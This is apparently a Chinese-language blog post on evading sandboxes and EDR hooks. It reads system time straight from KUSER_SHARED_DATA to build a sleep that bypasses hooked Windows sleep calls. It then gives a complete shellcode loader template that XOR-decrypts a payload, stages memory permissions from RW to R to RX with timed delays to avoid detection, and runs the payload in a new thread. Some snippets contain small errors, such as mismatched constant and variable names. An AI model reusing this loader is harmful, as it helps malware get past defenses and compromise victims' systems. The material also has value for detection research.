0%

利用CPU周期执行自定义sleep

sleep() sleepEx() Thread.sleep 最终都是调用的NtDelayExecution

避免sleep函数 或者底层系统调用上挂钩

使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#define MS_PER_SECOND 1000
unsigned long long __get_timestamp()
{
const size_t UNIX_TIME_START = 0x019DB1DED53E8000; // Start of Unix epoch in ticks.
const size_t TICKS_PER_MILLISECOND = 10000; // A tick is 100ns.
LARGE_INTEGER time;
time.LowPart = *(DWORD*)(0x7FFE0000 + 0x14); // Read LowPart as unsigned long.
time.HighPart = *(long*)(0x7FFE0000 + 0x1c); // Read High1Part as long.
return (unsigned long long)((time.QuadPart - UNIX_TIME_START) / TICKS_PER_MILLISECOND);
}

void __alt_sleepms(size_t ms)
{
volatile size_t x = rand(); // random buffer var
const unsigned long long end = __get_timestamp() + ms; // calculate when we shall stop sleeping
while (__get_timestamp() < end) { x += 1; } // increment random var by 1 till we reach our endtime
if (__get_timestamp() - end > 2000) return; // Fast Forward check, might need some tuning
}

void main() {

printf("[+] Before Sleep %lld\n", __get_timestamp());
printf("[+] Sleeping for 10 seconds...\n");
__alt_sleepms(10 * MS_PER_SECOND);
printf("[+] After Sleep %lld\n", __get_timestamp());

}

分析

_KUSER_SHARED_DATA结构

KUSER_SHARED_DATA结构定义了一个数据区域,在Windows系统中用于存储多种用户共享的数据。

其数据结构如下: 「向后兼容」(在高版本下 在0x330后会添加一些结构,在xp等系统下一般只会到0x330处)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
0:001> dt _KUSER_SHARED_DATA
ntdll!_KUSER_SHARED_DATA
+0x000 TickCountLowDeprecated : Uint4B
+0x004 TickCountMultiplier : Uint4B
+0x008 InterruptTime : _KSYSTEM_TIME
+0x014 SystemTime : _KSYSTEM_TIME
+0x020 TimeZoneBias : _KSYSTEM_TIME
+0x02c ImageNumberLow : Uint2B
+0x02e ImageNumberHigh : Uint2B
+0x030 NtSystemRoot : [260] Wchar
+0x238 MaxStackTraceDepth : Uint4B
+0x23c CryptoExponent : Uint4B
+0x240 TimeZoneId : Uint4B
+0x244 LargePageMinimum : Uint4B
+0x248 AitSamplingValue : Uint4B
+0x24c AppCompatFlag : Uint4B
+0x250 RNGSeedVersion : Uint8B
+0x258 GlobalValidationRunlevel : Uint4B
+0x25c TimeZoneBiasStamp : Int4B
+0x260 NtBuildNumber : Uint4B
+0x264 NtProductType : _NT_PRODUCT_TYPE
+0x268 ProductTypeIsValid : UChar
+0x269 Reserved0 : [1] UChar
+0x26a NativeProcessorArchitecture : Uint2B
+0x26c NtMajorVersion : Uint4B
+0x270 NtMinorVersion : Uint4B
+0x274 ProcessorFeatures : [64] UChar
+0x2b4 Reserved1 : Uint4B
+0x2b8 Reserved3 : Uint4B
+0x2bc TimeSlip : Uint4B
+0x2c0 AlternativeArchitecture : _ALTERNATIVE_ARCHITECTURE_TYPE
+0x2c4 BootId : Uint4B
+0x2c8 SystemExpirationDate : _LARGE_INTEGER
+0x2d0 SuiteMask : Uint4B
+0x2d4 KdDebuggerEnabled : UChar
+0x2d5 MitigationPolicies : UChar
+0x2d5 NXSupportPolicy : Pos 0, 2 Bits
+0x2d5 SEHValidationPolicy : Pos 2, 2 Bits
+0x2d5 CurDirDevicesSkippedForDlls : Pos 4, 2 Bits
+0x2d5 Reserved : Pos 6, 2 Bits
+0x2d6 CyclesPerYield : Uint2B
+0x2d8 ActiveConsoleId : Uint4B
+0x2dc DismountCount : Uint4B
+0x2e0 ComPlusPackage : Uint4B
+0x2e4 LastSystemRITEventTickCount : Uint4B
+0x2e8 NumberOfPhysicalPages : Uint4B
+0x2ec SafeBootMode : UChar
+0x2ed VirtualizationFlags : UChar
+0x2ee Reserved12 : [2] UChar
+0x2f0 SharedDataFlags : Uint4B
+0x2f0 DbgErrorPortPresent : Pos 0, 1 Bit
+0x2f0 DbgElevationEnabled : Pos 1, 1 Bit
+0x2f0 DbgVirtEnabled : Pos 2, 1 Bit
+0x2f0 DbgInstallerDetectEnabled : Pos 3, 1 Bit
+0x2f0 DbgLkgEnabled : Pos 4, 1 Bit
+0x2f0 DbgDynProcessorEnabled : Pos 5, 1 Bit
+0x2f0 DbgConsoleBrokerEnabled : Pos 6, 1 Bit
+0x2f0 DbgSecureBootEnabled : Pos 7, 1 Bit
+0x2f0 DbgMultiSessionSku : Pos 8, 1 Bit
+0x2f0 DbgMultiUsersInSessionSku : Pos 9, 1 Bit
+0x2f0 DbgStateSeparationEnabled : Pos 10, 1 Bit
+0x2f0 SpareBits : Pos 11, 21 Bits
+0x2f4 DataFlagsPad : [1] Uint4B
+0x2f8 TestRetInstruction : Uint8B
+0x300 QpcFrequency : Int8B
+0x308 SystemCall : Uint4B
+0x30c Reserved2 : Uint4B
+0x310 SystemCallPad : [2] Uint8B
+0x320 TickCount : _KSYSTEM_TIME
+0x320 TickCountQuad : Uint8B
+0x320 ReservedTickCountOverlay : [3] Uint4B
+0x32c TickCountPad : [1] Uint4B
+0x330 Cookie : Uint4B
+0x334 CookiePad : [1] Uint4B
+0x338 ConsoleSessionForegroundProcessId : Int8B
+0x340 TimeUpdateLock : Uint8B
+0x348 BaselineSystemTimeQpc : Uint8B
+0x350 BaselineInterruptTimeQpc : Uint8B
+0x358 QpcSystemTimeIncrement : Uint8B
+0x360 QpcInterruptTimeIncrement : Uint8B
+0x368 QpcSystemTimeIncrementShift : UChar
+0x369 QpcInterruptTimeIncrementShift : UChar
+0x36a UnparkedProcessorCount : Uint2B
+0x36c EnclaveFeatureMask : [4] Uint4B
+0x37c TelemetryCoverageRound : Uint4B
+0x380 UserModeGlobalLogger : [16] Uint2B
+0x3a0 ImageFileExecutionOptions : Uint4B
+0x3a4 LangGenerationCount : Uint4B
+0x3a8 Reserved4 : Uint8B
+0x3b0 InterruptTimeBias : Uint8B
+0x3b8 QpcBias : Uint8B
+0x3c0 ActiveProcessorCount : Uint4B
+0x3c4 ActiveGroupCount : UChar
+0x3c5 Reserved9 : UChar
+0x3c6 QpcData : Uint2B
+0x3c6 QpcBypassEnabled : UChar
+0x3c7 QpcShift : UChar
+0x3c8 TimeZoneBiasEffectiveStart : _LARGE_INTEGER
+0x3d0 TimeZoneBiasEffectiveEnd : _LARGE_INTEGER
+0x3d8 XState : _XSTATE_CONFIGURATION
+0x710 FeatureConfigurationChangeStamp : _KSYSTEM_TIME
+0x71c Spare : Uint4B
SystemTime属性

SystemTime是一个100ns的计时器,从1月1日开始计时

在偏移量0x14处(0x7FFE0014) 虽然大小为12字节 但实际有效为前8字节(High1Time与High2Time相等)

1
2
3
LARGE_INTEGER time;
time.LowPart = *(DWORD*)(0x7FFE0000 + 0x14); // Read LowPart as unsigned long.
time.HighPart = *(long*)(0x7FFE0000 + 0x1c); // Read High1Part as long.

_KSYSTEM_TIME结构如下:

1
2
3
4
5
6
7
8
9
10
ntdll!_KSYSTEM_TIME
+0x000 LowPart : Uint4B
+0x004 High1Time : Int4B
+0x008 High2Time : Int4B
typedef struct _KSYSTEM_TIME
{
unsigned long LowPart;
long High1Time;
long High2Time;
} KSYSTEM_TIME, *PKSYSTEM_TIME;

可以使用它来作为sleep的替代方法

在C中可以不通过sleep函数调用来获取时间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned long long __get_timestamp()
{
const size_t UNIX_TIME_START = 0x019DB1DED53E8000; // Start of Unix epoch in ticks.
const size_t TICKS_PER_SECOND = 10000000; // A tick is 100ns.
LARGE_INTEGER time;
time.LowPart = *(DWORD*)(0x7FFE0000 + 0x14); // Read LowPart as unsigned long.
time.HighPart = *(long*)(0x7FFE0000 + 0x1c); // Read High1Part as long.
return (unsigned long long)((time.QuadPart - UNIX_TIME_START) / TICKS_PER_MILLISECOND);
}
typedef struct _LARGE_INTEGER {
union {
struct {
DWORD LowPart; //32位无符号整数 低32位
LONG HighPart; //32为有符号整数 高32位
} ;
__int64 QuadPart; // 64位整数
} ;
} LARGE_INTEGER, *PLARGE_INTEGER;

UNIX_TIME_START为Unix新纪元的开始,值为0x019DB1DED53E8000

只需要读取ShareUserData中的SystemTime属性的值,减去单位时间开始的Unix时间,在除以设定的精准度TICKS_PER_SECOND。

参考

https://www.legacyy.xyz/defenseevasion/windows/2022/07/04/abusing-shareduserdata-for-defense-evasion-and-exploitation.html

https://shubakki.github.io/posts/2022/12/detecting-and-evading-sandboxing-through-time-based-evasion/

change memory perms like RW -> R -> RX

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include "snorlax.h" // Header file containing our time based evasion stuff
#include "utils.h" // Header file containing RNG related stuff.
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

#define INTERVAL rand() % 26 // Edit as you wish
#define MS_PER_SECOND 1000
#define SLEEPTIME INTERVAL*MS_PER_SECOND // Make the use easier


unsigned long long __get_timestamp()
{
const size_t UNIX_TIME_START = 0x019DB1DED53E8000; // Start of Unix epoch in ticks.
const size_t TICKS_PER_MILLISECOND = 10000; // A tick is 100ns.
LARGE_INTEGER time;
time.LowPart = *(DWORD*)(0x7FFE0000 + 0x14); // Read LowPart as unsigned long.
time.HighPart = *(long*)(0x7FFE0000 + 0x1c); // Read High1Part as long.
return (unsigned long long)((time.QuadPart - UNIX_TIME_START) / TICKS_PER_MILLISECOND);
}

void __alt_sleepms(size_t ms)
{
volatile size_t x = rand(); // random buffer var
const unsigned long long end = __get_timestamp() + ms; // calculate when we shall stop sleeping
while (__get_timestamp() < end) { x += 1; } // increment random var by 1 till we reach our endtime
if (__get_timestamp() - end > 2000) return; // Fast Forward check, might need some tuning
}

unsigned char buf[] = {};

int main()
{
// seed our generator
// defaultseed could be any seed you choose
//but for obvious reasons i recommend using the __TIME__ macro for that.
srand( defaultseed );

// initial timeout ? (could be extremely sus)
__alt_sleepms( SLEEPTIME * 12 );

// decrypt our xor encrypted shellcode
xor_bytes( buf, SHELLCODE_SIZE, key, KEYLEN );

// Allocate RW memory
PVOID addr = VirtualAlloc( NULL, sizeof( buf ), ( MEM_RESERVE | MEM_COMMIT ), PAGE_READWRITE );

// Copy our shellcode to the allocated memory
memcpy( addr, buf, sizeof( buf ) );


// Now the interesting part where we can leverage sleeping
// We basically change memory perms like RW -> R -> RX
// RWX memory can appear as an IOC
DWORD old_protect;
VirtualProtect( addr, sizeof( buf ), PAGE_READONLY, &old_protect );

__alt_sleepms( SLEEPTIME );

VirtualProtect( addr, sizeof( buf ), PAGE_EXECUTE_READ, &oldProtect );

__alt_sleepms( SLEEPTIME );

DWORD id;
HANDLE thread = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, &id );

WaitForSingleObject( thread, INFINITE );

return 0;

}

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------